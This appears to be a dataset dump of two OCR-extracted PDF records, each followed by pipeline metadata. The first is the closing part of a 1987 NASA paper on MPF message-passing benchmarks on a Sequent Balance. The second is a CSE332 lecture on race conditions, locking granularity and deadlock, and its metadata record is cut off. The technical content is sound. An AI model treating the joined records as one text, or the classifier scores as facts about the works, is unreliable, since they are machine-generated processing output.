The benefit of larger messages is evident in both Figures 4 and 5. However, the throughput for fcfs is very different from broadcast. With the fcfs benchmark, only one FCFS process can receive each message. Hence, the total message throughput is limited by the message transmission rate. The decreasing throughputs for 16-byte and 128-byte messages are caused by increased LNVC contention with additional receiver processes. For larger messages, this contention is masked by message copying costs.
The throughputs for the broadcast benchmark illustrate the MPF support for concurrent message_receive() operations by BROADCAST receivers. Although the
⁵ In a FCFS LNVC, all receiving processes are FCFS, and there are no BROADCAST receive connection. A BROADCAST LNVC is the converse.
actual message transmission rate is unchanged from the fcfs benchmark, all message receivers obtain a copy of each message. Thus, by allowing the receiver processes to copy messages concurrently, higher throughputs can be achieved. The maximum attainable broadcast throughput is limited by the concurrent efficiency of MPF, as well as the memory bandwidth. MPF achieved an effective throughput of 687,245 bytes per second for 1024-byte messages and 16 receiving processes. As with the fcfs benchmark, message throughput is sub-linear with the number of processes when the message length is small; contention is again the reason.
As a final throughput benchmark, we constructed a synthetic program whose processes can each send to and receive from all other processes. The communications pattern is fully-connected with a FCFS LNVC defined for each destination process. In this benchmark, each process sends a specified number of fixed-length messages; destinations are selected randomly. Each time a process executes a message_send(), it then receives all messages that are queued in its LNVC.
Figure 6 shows the results obtained with this benchmark program. As expected, throughput increases as message length increases. More importantly, message throughput increases as additional processes are added to the benchmark. This implies that MPF can support concurrent operation on multiple LNVC’s. We expect increasing overhead with more processes, however, and this is evident in the decreasing slope of the throughput curves.
When a large number of processes are transmitting large messages, MPF must allocate a large amount of memory for message buffers. The larger the memory requirements for message transfer, the more susceptible MPF performance is to virtual memory overheads. For 1024-byte messages, paging overhead increases rapidly for more
than 10 processes; this is the reason for the decrease in observed throughput. Paging overheads are also significant for 256-byte messages but do not occur until there are 20 active processes. Similar behavior would likely occur for smaller message sizes if the Balance 21000 had additional processors.
As an application test program, the Gauss-Jordan algorithm (with partial pivoting) for solving linear systems is ideal; it contains both one-to-one and broadcast communications. The Gauss-Jordan algorithm converts the linear system $Ax = b$, where $A$ is non-singular, to the equivalent linear system $A'z = b'$ where $A'$ is diagonal. The parallel implementation of this algorithm partitions the matrix $A$ into equal sized groups of contiguous rows; each partition is assigned to a process. Each process searches for the maximum element in the current column, and sends this value to an arbiter process. The arbiter process identifies the maximum of the maxima, and advises the process holding this value. The identified process broadcasts the selected pivot row to all other processes. The processes then sweep the rows of their partition using this pivot row and begin a new iteration.
Figure 7 shows the speedup for the Gauss-Jordan algorithm as a function of matrix size and the number of processors. Speedup is greater with larger matrices; this is the classic computation versus communication balance faced by message-passing systems. As noted above, there are two types of communication: selecting a pivot row and broadcasting that pivot row. Increased parallelism increases the number of FCFS messages sent to the arbiter process during pivot selection. Similarly, increased parallelism means additional processes must capture the pivot row as it is broadcast. Conversely, increased parallelism decreases the number of matrix rows assigned to each task. Hence, the computation per process decreases while the communication cost
increases. In the extreme, excessive parallelization yields insufficient computation per iteration, and speedup declines. Larger matrices permit effective use of more processors. The most important conclusion to be drawn from Figure 7 is that real speedups can be obtained in the MPF environment.
As a final test of the flexibility of the MPF programming environment, we adapted a parallel, elliptic partial differential equations solver, written for a hypercube [Ratt85]. The solver iterates over a grid of points, using successive over-relaxation (SOR), until the grid converges to a solution of the partial differential equation. If the grid of points contains $P \times P$ points, it is partitioned into $N \times N$ subgrids of size $\frac{P}{N} \times \frac{P}{N}$. Each subgrid is assigned to a processor, and each processor iterates over its subgrid. On each iteration, the boundaries of each sub-grid must be exchanged with the four neighboring processors. In addition, the processors determine if the local sub-grid has converged and send this status information to a monitoring process. Because the computation cost for an iteration is proportional to the area of the sub-grids, and the communication cost is proportional to their perimeter, the computation/communication ratio can be adjusted by varying the number of processors.
Porting the hypercube program to MPF was very simple. The interprocess communication among neighbors corresponds naturally to FCFS LNVC's. Similarly, BROADCAST LNVC's were used to broadcast convergence information from the monitoring process. Figure 8 shows speedup as a function of grid size and number of processes.\footnote{Because no equivalent, sequential solver was available, all speedups are shown relative to the smallest parallel solver: 4 processes.}
Certainly, more experimentation is necessary to explore the usefulness of MPF for real message passing applications development. However, the experimental programs and results presented above are encouraging as an indication of the programming flexibility of the MPF environment and MPF’s ability to support concurrent operation.
5. Conclusion
A message passing environment for shared memory multiprocessors is interesting for several reasons. As a parallel programming paradigm conceptually different from the shared memory approach, message passing offers the user a different programming alternative. A particularly interesting benefit of a message passing facility for shared memory machines is the ability to develop a program using a hybrid parallel programming paradigm.
MPF supports the paradigm with a general message passing model and an implementation that hides the details of the underlying message communications. Programs destined for message passing systems can be easily prototyped in the MPF environment. The versatility of a shared memory machine provides a flexible implementation base for a message passing facility. The Sequent Balance 21000 MPF implementation takes only 800 lines of heavy-commented C code and adds 7000 bytes to a user’s program. Furthermore, the implementation is completely portable between shared memory multiprocessors that provide locking and memory sharing between concurrently executing processes.
The MPF implementation discussed in this paper has clear inefficiencies resulting from the full support of the general message passing model. One method to improve the performance of the MPF system is to restrict the generality of message communication
and process interaction. Clearly, simpler and more efficient implementations can result. For instance, to support synchronous message passing, copying of data from a sending buffer to a linked message buffer and then to the receiving buffer is unnecessary; direct data transfer is possible. Furthermore, if only one-to-one communication is implemented, all locking associated with message handling is removed. Studies of simplified message passing systems for shared memory multiprocessors are currently underway. One important research issue with these systems is the effect of the parallel programming paradigm (message passing or shared memory) on application performance.
6. Acknowledgments
Jack Dongarra and the Advanced Computing Research Facility of Argonne National Laboratory graciously provided both advice and access to the Sequent Balance 21000.
References
Figure 1
MPF Message Passing Model
Sending Processes
Logical Named Virtual Circuit
FCFS Receiving Processes
Broadcast Receiving Processes
S\textsubscript{1}
\[ \vdots \]
S\textsubscript{m}
R\textsuperscript{F}\textsubscript{1}
\[ \vdots \]
R\textsuperscript{F}\textsubscript{0}
R\textsuperscript{B}\textsubscript{1}
\[ \vdots \]
R\textsuperscript{B}\textsubscript{n}
Figure 2
Possible State of an LNVC
Figure 3
Base Benchmark
Throughput vs. Message Length
Throughput (bytes/sec)
Message Length (bytes)
Figure 4
Fcfs Benchmark
Throughput vs Receiving Processes
Throughput (bytes/sec)
- 16 byte messages
- 128 byte messages
- 1024 byte messages
Number of Receiving Processes
Figure 5
Broadcast Benchmark
Throughput vs Receiving Processes
Throughput (bytes/sec)
- 16 byte messages
- 128 byte messages
- 1024 byte messages
Number of Receiving Processes
Figure 6
Random Benchmark
Throughput vs Processes
Throughput (bytes/sec)
- • 1 byte messages
- o 8 byte messages
- □ 64 byte messages
- x 256 byte messages
- ▽ 1024 byte messages
Number of Processes
Figure 7
Gauss Jordan
Speedup vs. Processes
Speedup
- 32x32 matrix
- 48x48 matrix
- 64x64 matrix
- 96x96 matrix
Number of Processes
Figure 8
Poisson Elliptic PDE Solver with SOR Iterations
Per Iteration Speedup vs. Dimension (N)
Per Iteration Speedup
- 65 x 65 problem
- 33 x 33 problem
- 17 x 17 problem
- 9 x 9 problem
Dimension (NxN Processors)
|
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19870017079.pdf", "len_cl100k_base": 5526, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 45178, "total-output-tokens": 7135, "length": "2e12", "weborganizer": {"__label__adult": 0.0004177093505859375, "__label__art_design": 0.0004968643188476562, "__label__crime_law": 0.0004606246948242187, "__label__education_jobs": 0.0006508827209472656, "__label__entertainment": 0.00011712312698364258, "__label__fashion_beauty": 0.00019741058349609375, "__label__finance_business": 0.0003304481506347656, "__label__food_dining": 0.00045108795166015625, "__label__games": 0.0006666183471679688, "__label__hardware": 0.006443023681640625, "__label__health": 0.0007500648498535156, "__label__history": 0.00040793418884277344, "__label__home_hobbies": 0.00017321109771728516, "__label__industrial": 0.0009918212890625, "__label__literature": 0.00025725364685058594, "__label__politics": 0.00031185150146484375, "__label__religion": 0.0006437301635742188, "__label__science_tech": 0.2403564453125, "__label__social_life": 9.691715240478516e-05, "__label__software": 0.01206207275390625, "__label__software_dev": 0.73193359375, "__label__sports_fitness": 0.0004754066467285156, "__label__transportation": 0.00115203857421875, "__label__travel": 0.0002758502960205078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29783, 0.04026]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29783, 0.30671]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29783, 0.89812]], "google_gemma-3-12b-it_contains_pii": [[0, 834, false], [834, 2571, null], [2571, 4327, null], [4327, 6188, null], [6188, 7754, null], [7754, 9662, null], [9662, 11164, null], [11164, 13062, null], [13062, 14729, null], [14729, 16553, null], [16553, 18385, null], [18385, 20237, null], [20237, 22180, null], [22180, 23986, null], [23986, 25689, null], [25689, 26549, null], [26549, 28358, null], [28358, 28738, null], [28738, 28773, null], [28773, 28875, null], [28875, 29049, null], [29049, 29228, null], [29228, 29430, null], [29430, 29565, null], [29565, 29783, null]], "google_gemma-3-12b-it_is_public_document": [[0, 834, true], [834, 2571, null], [2571, 4327, null], [4327, 6188, null], [6188, 7754, null], [7754, 9662, null], [9662, 11164, null], [11164, 13062, null], [13062, 14729, null], [14729, 16553, null], [16553, 18385, null], [18385, 20237, null], [20237, 22180, null], [22180, 23986, null], [23986, 25689, null], [25689, 26549, null], [26549, 28358, null], [28358, 28738, null], [28738, 28773, null], [28773, 28875, null], [28875, 29049, null], [29049, 29228, null], [29228, 29430, null], [29430, 29565, null], [29565, 29783, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29783, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29783, null]], "pdf_page_numbers": [[0, 834, 1], [834, 2571, 2], [2571, 4327, 3], [4327, 6188, 4], [6188, 7754, 5], [7754, 9662, 6], [9662, 11164, 7], [11164, 13062, 8], [13062, 14729, 9], [14729, 16553, 10], [16553, 18385, 11], [18385, 20237, 12], [20237, 22180, 13], [22180, 23986, 14], [23986, 25689, 15], [25689, 26549, 16], [26549, 28358, 17], [28358, 28738, 18], [28738, 28773, 19], [28773, 28875, 20], [28875, 29049, 21], [29049, 29228, 22], [29228, 29430, 23], [29430, 29565, 24], [29565, 29783, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29783, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
f72ff5395bdd635d829ce5f6d3d9d18a39f7194a
|
Outline
Done:
- The semantics of locks
- Locks in Java
- Using locks for mutual exclusion: bank-account example
This lecture:
- Race Conditions: Data Races vs. Bad Interleavings
- Guidelines/idioms for shared-memory and using locks correctly
- Coarse-grained vs. fine-grained (for locks and critical sections)
- Deadlock
Race Conditions
A race condition occurs when the computation result depends on scheduling (how threads are interleaved)
- If T1 and T2 happened to get scheduled in a certain way, things go wrong
- We, as programmers, cannot control scheduling of threads;
- Thus we need to write programs that work independent of scheduling
Race conditions are bugs that exist only due to concurrency
- No interleaved scheduling problems with only 1 thread!
Typically, problem is that some intermediate state can be seen by another thread; screws up other thread
- Consider a ‘partial’ insert in a linked list; say, a new node has been added to the end, but ‘back’ and ‘count’ haven’t been updated
Race Conditions: Data Races vs. Bad Interleavings
We will make a big distinction between:
*data races* and *bad interleavings*
- Both are kinds of race-condition bugs
- Confusion often results from not distinguishing these or using the ambiguous “race condition” to mean only one
Data Races *(briefly)*
- A **data race** is a specific type of **race condition** that can happen in 2 ways:
- Two different threads *potentially* write a variable at the same time
- One thread *potentially* writes a variable while another reads the variable
- Not a race: simultaneous reads provide no errors
- ‘Potentially’ is important
- We claim the code itself has a data race independent of any particular actual execution
- **Data races** are bad, but we can still have a **race condition**, and bad behavior, when no data races are present…through **bad interleavings** (what we will discuss now).
Stack Example (pseudocode)
class Stack<E> {
private E[] array = (E[]) new Object[SIZE];
private int index = -1;
synchronized boolean isEmpty() {
return index == -1;
}
synchronized void push(E val) {
array[++index] = val;
}
synchronized E pop() {
if (isEmpty())
throw new StackEmptyException();
return array[index--];
}
}
Example of a *Race Condition*,
but **not** a *Data Race*
class Stack<E> {
...
// state used by isEmpty, push, pop
synchronized boolean isEmpty() { ... }
synchronized void push(E val) { ... }
synchronized E pop() {
if(isEmpty())
throw new StackEmptyException();
...
}
E peek() { // this is wrong
E ans = pop();
push(ans);
return ans;
}
}
peek, sequentially speaking
- In a sequential world, this code is of questionable style, but unquestionably correct.
- The “algorithm” is the only way to write a peek helper method if all you had was this interface:
```java
interface Stack<E> {
boolean isEmpty();
void push(E val);
E pop();
}
class C {
static <E> E myPeek(Stack<E> s) {
} // ???
}
```
Problems with `peek`
- `peek` has no *overall* effect on the shared data
- It is a “reader” not a “writer”
- State should be the same after it executes as before
- But the way it is implemented creates an inconsistent *intermediate state*
- Calls to `push` and `pop` are synchronized
- So there are no *data races* on the underlying array/index
- There is still a *race condition* though
- This intermediate state should not be exposed
- Leads to several *bad interleavings*
Example 1: peek and isEmpty
- **Property we want**: If there has been a `push` (and no `pop`), then `isEmpty` should return `false`.
- With `peek` as written, property can be violated – how?
```java
E ans = pop();
push(ans);
return ans;
```
```
push(x)
boolean b = isEmpty()
```
Example 1: peek and isEmpty
- **Property we want**: If there has been a `push` (and no `pop`), then `isEmpty` should return `false`.
- With `peek` as written, property can be violated – how?
```
Thread 1 (peek)
E ans = pop();
push(ans);
return ans;
Thread 2
push(x)
boolean b = isEmpty()
```
3/05/2018
**Example 1: peek and isEmpty**
- **Property we want**: If there has been a `push` (and no `pop`), then `isEmpty` should return `false`
- With `peek` as written, property can be violated – how?
```java
push(x)
boolean b = isEmpty();
push(ans);
return ans;
```
It can be violated if things occur in this order:
1. T2: `push(x)`
2. T1: `pop()`
3. T2: `boolean b = isEmpty()`
Example 2: peek and push
- **Property we want:** Values are returned from `pop` in LIFO order
- With `peek` as written, property can be violated – how?
```java
Thread 1 (peek)
E ans = pop();
push(ans);
return ans;
```
```java
Thread 2
push(x)
push(y)
E e = pop()
```
Example 2: peek and push
- **Property we want:** Values are returned from \texttt{pop} in LIFO order.
- With \texttt{peek} as written, property can be violated – how?
```c
E ans = pop();
push(ans);
return ans;
```
Example 3: peek and pop
- **Property we want**: Values are returned from `pop` in LIFO order
- With `peek` as written, property can be violated – how?
```java
E ans = pop();
push(ans);
return ans;
```
Thread 1 (peek)
Thread 2
```
push(x)
push(y)
E e = pop()
```
Example 4: peek and peek
- **Property we want:** `peek` doesn’t throw an exception unless the stack is empty.
- With `peek` as written, the property can be violated – how?
```java
Thread 1 (peek)
E ans = pop();
push(ans);
return ans;
Thread 2 (peek)
E ans = pop();
push(ans);
return ans;
```
Example 4: peek and peek
- **Property we want**: `peek` doesn’t throw an exception unless stack is empty
- With `peek` as written, property can be violated – how?
```
Thread 1 (peek)
E ans = pop();
push(ans);
return ans;
```
```
Thread 2 (peek)
E ans = pop();
push(ans);
return ans;
```
The fix
- In short, **peek** needs synchronization to disallow interleavings
- The key is to make a *larger critical section*
- That intermediate state of **peek** needs to be protected
- Use re-entrant locks; will allow calls to **push** and **pop**
- Code on right is example of a **peek** external to the **Stack** class
```java
class Stack<E> {
...
synchronized E peek() {
E ans = pop();
push(ans);
return ans;
}
}
```
```java
class C {
<E> E myPeek(Stack<E> s) {
synchronized (s) {
E ans = s.pop();
s.push(ans);
return ans;
}
}
}
```
The wrong “fix”
- **Focus so far**: problems from `peek` doing writes that lead to an incorrect intermediate state
- **Tempting but wrong**: If an implementation of `peek` (or `isEmpty`) does not write anything, then maybe we can skip the synchronization?
- Does **not** work due to *data races* with `push` and `pop`…
Example, (pseudocode not complete)
class Stack<E> {
private E[] array = (E[]) new Object[SIZE];
private int index = -1;
boolean isEmpty() { // unsynchronized: wrong?!
return index == -1;
}
synchronized void push(E val) {
array[++index] = val;
}
synchronized E pop() {
return array[index--];
}
E peek() { // unsynchronized: wrong!
return array[index];
}
}
Why wrong?
• It looks like `isEmpty` and `peek` can “get away with this” since `push` and `pop` adjust the state “in one tiny step”
• But this code is still wrong and depends on language-implementation details you cannot assume
– Even “tiny steps” may require multiple steps in the implementation: `array[++index] = val` probably takes at least two steps
– Code has a data race, allowing very strange behavior
• Compiler optimizations may break it in ways you had not anticipated
• See Grossman notes for more details
• Moral: Do not introduce a data race, even if every interleaving you can think of is correct
The distinction
The (poor) term “race condition” can refer to two different things resulting from lack of synchronization:
1. Data races: Simultaneous read/write or write/write of the same memory location
- (for mortals) always an error, due to compiler & hardware
- Original *peek* example has no data races
2. Bad interleavings: Despite lack of data races, exposing bad intermediate state
- “Bad” depends on your specification
- Original *peek* had several bad interleavings
Getting it right
Avoiding race conditions on shared resources is difficult
- What ‘seems fine’ in a sequential world can get you into trouble when multiple threads are involved
- Decades of bugs have led to some conventional wisdom: general techniques that are known to work
Next we discuss this conventional wisdom!
- Parts paraphrased from “Java Concurrency in Practice”
- Chapter 2 (rest of book more advanced)
- But none of this is specific to Java or a particular book!
- May be hard to appreciate in beginning, but come back to these guidelines over the years!
Shared-Memory, Concurrent Programming
Conventional Wisdom
See Section 8 in Grossman Notes
3 choices
For every memory location (e.g., object field) in your program, you must obey at least one of the following:
1. Thread-local: Do not use the location in > 1 thread
2. Immutable: Do not write to the memory location
3. Shared-and-mutable: Use synchronization to control access to the location

1. Thread-local
Whenever possible, do not share resources
- Easier to have each thread have its own thread-local copy of a resource than to have one with shared updates
- This is correct only if threads do not need to communicate through the resource
- That is, multiple copies are a correct approach
- Example: Random objects
- Note: Because each call-stack is thread-local, never need to synchronize on local variables
In typical concurrent programs, the vast majority of objects should be thread-local: shared-memory should be rare – minimize it
2. Immutable
Whenever possible, do not update objects
– Make new objects instead!
• One of the key tenets of *functional programming* (see CSE 341)
– Generally helpful to avoid *side-effects*
– Much more helpful in a concurrent setting
• If a location is only read, never written, then no synchronization is necessary!
– Simultaneous reads are *not* races and *not* a problem
*In practice, programmers usually over-use mutation – minimize it*
3. The rest: Keep it synchronized
After minimizing the amount of memory that is (1) thread-shared and (2) mutable, we need guidelines for how to use locks to keep other data consistent
**Guideline #0: No data races**
- *Never allow two threads to read/write or write/write the same location at the same time* (use locks!)
- Even if it ‘seems safe’
*Necessary:*
- a Java or C program with a data race is almost always wrong
*But Not sufficient:* Our peek example had no data races, and it’s still wrong…
Consistent Locking
**Guideline #1:** Use consistent locking
- **For each location needing synchronization, have a lock that is always held when reading or writing the location**
- We say the lock **guards** the location
- The same lock can (and often should) guard multiple locations (ex. multiple fields in a class)
- Clearly document the guard for each location
- In Java, often the guard is the object containing the location
- **this** inside the object’s methods
- But also often guard a larger structure with one lock to ensure mutual exclusion on the structure
Consistent Locking (continued)
- The mapping from locations to guarding locks is *conceptual*
- Must be enforced by you as the programmer
- It partitions the *shared-and-mutable* locations into “which lock”
Consistent locking is:
- *Not sufficient*: It prevents all *data races* but still allows *bad interleavings*
- Our *peek* example used consistent locking, but still had exposed intermediate states (and allowed potential *bad interleavings*)
- *(Aside) Not necessary*: You could have different locking protocols for different phases of your program as long as all threads are coordinated moving from one phase to next. eg. at start of program data structure is being updated (needs locks), later it is not modified so can be read simultaneous (no locks).
Lock granularity
**Coarse-grained:** Fewer locks, i.e., more objects per lock
- Example: One lock for entire data structure (e.g., array)
- Example: One lock for all bank accounts
**Fine-grained:** More locks, i.e., fewer objects per lock
- Example: One lock per data element (e.g., array index)
- Example: One lock per bank account
“Coarse-grained vs. fine-grained” is really a continuum
Trade-offs
Coarse-grained advantages:
- Simpler to implement
- Faster/easier to implement operations that access multiple locations (because all guarded by the same lock)
- Much easier for operations that modify data-structure shape
Fine-grained advantages:
- More simultaneous access (performance when coarse-grained would lead to unnecessary blocking)
- Can make multi-node operations more difficult: say, rotations in an AVL tree
Guideline #2: Start with coarse-grained (simpler) and move to fine-grained (performance) only if contention on the coarser locks becomes an issue.
Example: Separate Chaining Hash Table
- Coarse-grained: One lock for entire hashtable
- Fine-grained: One lock for each bucket
Which supports more concurrency for \texttt{insert} and \texttt{lookup}?
Which makes implementing \texttt{resize} easier?
- How would you do it?
If a hashtable has a \texttt{numElements} field, maintaining it will destroy the benefits of using separate locks for each bucket, why?
Example: Separate Chaining Hashtable
- Coarse-grained: One lock for entire hashtable
- Fine-grained: One lock for each bucket
Which supports more concurrency for **insert** and **lookup**?
- Fine-grained; allows simultaneous access to diff. buckets
Which makes implementing **resize** easier?
- How would you do it?
- Coarse-grained; just grab one lock and proceed
If a hashtable has a **numElements** field, maintaining it will destroy the benefits of using separate locks for each bucket, why?
**Updating it each insert w/o a lock would be a data race**
Critical-section granularity
A second, orthogonal granularity issue is critical-section size
– How much work to do while holding lock(s)?
If critical sections run for too long?
–
If critical sections are too short?
–
**Critical-section granularity**
A second, orthogonal granularity issue is critical-section size
- How much work to do while holding lock(s)?
If critical sections run for **too long**:
- Performance loss because other threads are blocked
If critical sections are **too short**:
- Bugs because you broke up something where other threads should not be able to see intermediate state
**Guideline #3**: Don’t do expensive computations or I/O in critical sections, but also don’t introduce race conditions; keep it as small as possible but still be correct
Example 1: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
- Assume lock guards the whole table
- expensive() takes in the old value, and computes a new one, but takes a long time
```java
synchronized(lock) {
v1 = table.lookup(k);
v2 = expensive(v1);
table.remove(k);
table.insert(k,v2);
}
```
Example 1: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
- Assume `lock` guards the whole table
- `expensive()` takes in the old value, and computes a new one, but takes a long time
```
synchronized(lock) {
v1 = table.lookup(k);
v2 = expensive(v1);
table.remove(k);
table.insert(k,v2);
}
```
Papa Bear's critical section was too long
(table locked during expensive call)
Example 2: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
- Assume lock guards the whole table
```java
synchronized (lock) {
v1 = table.lookup(k);
}
v2 = expensive(v1);
synchronized (lock) {
table.remove(k);
table.insert(k, v2);
}
```
Example 2: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
– Assume `lock` guards the whole table
Mama Bear’s critical section was too short
(if another thread updated the entry, we will lose an update)
```java
synchronized(lock) {
v1 = table.lookup(k);
}
v2 = expensive(v1);
synchronized(lock) {
table.remove(k);
table.insert(k,v2);
}
```
Example 3: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
- Assume lock guards the whole table
```java
done = false;
while (!done) {
synchronized (lock) {
v1 = table.lookup(k);
}
v2 = expensive(v1);
synchronized (lock) {
if (table.lookup(k) == v1) {
done = true; // I can exit the loop!
table.remove(k);
table.insert(k, v2);
}
}
}
```
Example 3: Critical-section granularity
Suppose we want to change the value for a key in a hashtable without removing it from the table
- Assume lock guards the whole table
```java
done = false;
while (!done) {
synchronized (lock) {
v1 = table.lookup(k);
}
v2 = expensive(v1);
synchronized (lock) {
if (table.lookup(k) == v1) {
done = true; // I can exit the loop!
table.remove(k);
table.insert(k, v2);
}
}
}
```
Baby Bear’s critical section was just right
(if another update occurred, try our update again)
Atomicity
An operation is atomic if no other thread can see it partly executed
– Atomic as in “appears indivisible”
– Typically want ADT operations atomic, even to other threads running operations on the same ADT
Guideline #4: Think in terms of what operations need to be atomic
– Make critical sections just long enough to preserve atomicity
– Then design the locking protocol to implement the critical sections correctly
That is: Think about atomicity first and locks second
Don’t roll your own
• In “real life”, it is unusual to have to write your own data structure from scratch
– Implementations provided in standard libraries
– Point of CSE332 is to understand the key trade-offs, abstractions, and analysis of such implementations
• Especially true for concurrent data structures
– Far too difficult to provide fine-grained synchronization without race conditions
– Standard thread-safe libraries like ConcurrentHashMap written by world experts
Guideline #5: Use built-in libraries whenever they meet your needs
Deadlock
Motivating Deadlock Issues
Consider a method to transfer money between bank accounts
```java
class BankAccount {
...
synchronized void withdraw(int amt) { ... }
synchronized void deposit(int amt) { ... }
synchronized void transferTo(int amt,
BankAccount a) {
this.withdraw(amt);
a.deposit(amt);
}
}
```
Potential problems?
Motivating Deadlock Issues
Consider a method to transfer money between bank accounts
```java
class BankAccount {
...
synchronized void withdraw(int amt) {...}
synchronized void deposit(int amt) {...}
synchronized void transferTo(int amt, BankAccount a) {
this.withdraw(amt);
a.deposit(amt);
}
}
```
Notice during call to `a.deposit`, thread holds *two* locks
- Need to investigate when this may be a problem
The Deadlock
Suppose \( x \) and \( y \) are static fields holding accounts.
Thread 1: \( x\.transferTo(1,y) \)
- acquire lock for \( x \)
- do withdraw from \( x \)
- block on lock for \( y \)
Thread 2: \( y\.transferTo(1,x) \)
- acquire lock for \( y \)
- do withdraw from \( y \)
- block on lock for \( x \)
Ex: The Dining Philosophers
- 5 philosophers go out to dinner together at an Italian restaurant
- Sit at a round table; one fork per setting
- When the spaghetti comes, each philosopher proceeds to grab their right fork, then their left fork, then eats
- ‘Locking’ for each fork results in a **deadlock**
Deadlock, in general
A deadlock occurs when there are threads $T_1, \ldots, T_n$ such that:
- For $i=1, \ldots, n-1$, $T_i$ is waiting for a resource held by $T(i+1)$
- $T_n$ is waiting for a resource held by $T_1$
In other words, there is a cycle of waiting
- Can formalize as a graph of dependencies with cycles bad
Deadlock avoidance in programming amounts to techniques to ensure a cycle can never arise
Back to our example
Options for deadlock-proof transfer:
1. Make a smaller critical section: `transferTo` not synchronized
- Exposes intermediate state after `withdraw` before `deposit`
- May be okay here, but exposes wrong total amount in bank
2. Coarsen lock granularity: one lock for all accounts allowing transfers between them
- Works, but sacrifices concurrent deposits/withdrawals
3. Give every bank-account a unique number and always acquire locks in the same order
- * Entire program * should obey this order to avoid cycles
- Code acquiring only one lock can ignore the order
**Ordering locks**
```java
class BankAccount {
...
private int acctNumber; // must be unique
void transferTo(int amt, BankAccount a) {
if (this.acctNumber < a.acctNumber) {
synchronized(this) {
synchronized(a) {
this.withdraw(amt);
a.deposit(amt);
}
}
} else {
synchronized(a) {
synchronized(this) {
this.withdraw(amt);
a.deposit(amt);
}
}
}
}
}
```
Aside: Another example `StringBuffer`
From the Java standard library
```java
class StringBuffer {
private int count;
private char[] value;
...
synchronized append(StringBuffer sb) {
int len = sb.length();
if(this.count + len > this.value.length)
this.expand(...);
sb.getChars(0, len, this.value, this.count);
}
synchronized getChars(int x, int y,
char[] a, int z) {
"copy this.value[x..y] into a starting at z"
}
}
```
Aside: Two problems with StringBuffer
Problem #1: Lock for `sb` is not held between calls to `sb.length` and `sb.getChars`
– So `sb` could get longer
– Would cause `append` to throw an `ArrayIndexOutOfBoundsException`
Problem #2: Deadlock potential if two threads try to `append` in opposite directions, just like in the bank-account first example
Not easy to fix both problems without extra copying:
– Do not want unique ids on every `StringBuffer`
– Do not want one lock for all `StringBuffer` objects
Actual Java library: fixed neither (left code as is; changed javadoc)
– Up to clients to avoid such situations with own protocols
Perspective
• Code like account-transfer and string-buffer append are difficult to deal with for deadlock
• Easier case: different types of objects
– Can document a fixed order among types
– Example: “When moving an item from the hashtable to the work queue, never try to acquire the queue lock while holding the hashtable lock”
• Easier case: objects are in an acyclic structure
– Can use the data structure to determine a fixed order
– Example: “If holding a tree node’s lock, do not acquire other tree nodes’ locks unless they are children in the tree”
Concurrency summary
• Concurrent programming allows multiple threads to access shared resources (e.g. hash table, work queue)
• Introduces new kinds of bugs:
– Data races and Bad Interleavings
– Critical sections too small
– Critical sections use wrong locks
– Deadlocks
• Requires synchronization
– Locks for mutual exclusion (common, various flavors)
– Other Synchronization Primitives: (see Grossman notes)
• Reader/Writer Locks
• Condition variables for signaling others
• Guidelines for correct use help avoid common pitfalls
• Shared Memory model is not only approach, but other approaches (e.g., message passing) are not painless
|
{"Source-Url": "https://courses.cs.washington.edu/courses/cse332/18wi/lectures/cse332-18wi-lec18-Concurrency-2_answ.pdf", "len_cl100k_base": 5847, "olmocr-version": "0.1.53", "pdf-total-pages": 56, "total-fallback-pages": 0, "total-input-tokens": 83304, "total-output-tokens": 8208, "length": "2e12", "weborganizer": {"__label__adult": 0.00032258033752441406, "__label__art_design": 0.00022983551025390625, "__label__crime_law": 0.0003802776336669922, "__label__education_jobs": 0.0007424354553222656, "__label__entertainment": 4.214048385620117e-05, "__label__fashion_beauty": 0.00011402368545532228, "__label__finance_business": 0.00011938810348510742, "__label__food_dining": 0.0003664493560791016, "__label__games": 0.00045609474182128906, "__label__hardware": 0.0005717277526855469, "__label__health": 0.00035381317138671875, "__label__history": 0.00017786026000976562, "__label__home_hobbies": 9.191036224365234e-05, "__label__industrial": 0.0003314018249511719, "__label__literature": 0.0001825094223022461, "__label__politics": 0.00026917457580566406, "__label__religion": 0.000476837158203125, "__label__science_tech": 0.00342559814453125, "__label__social_life": 8.690357208251953e-05, "__label__software": 0.002765655517578125, "__label__software_dev": 0.9873046875, "__label__sports_fitness": 0.0003764629364013672, "__label__transportation": 0.0005254745483398438, "__label__travel": 0.00020205974578857425}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24401, 0.00741]], 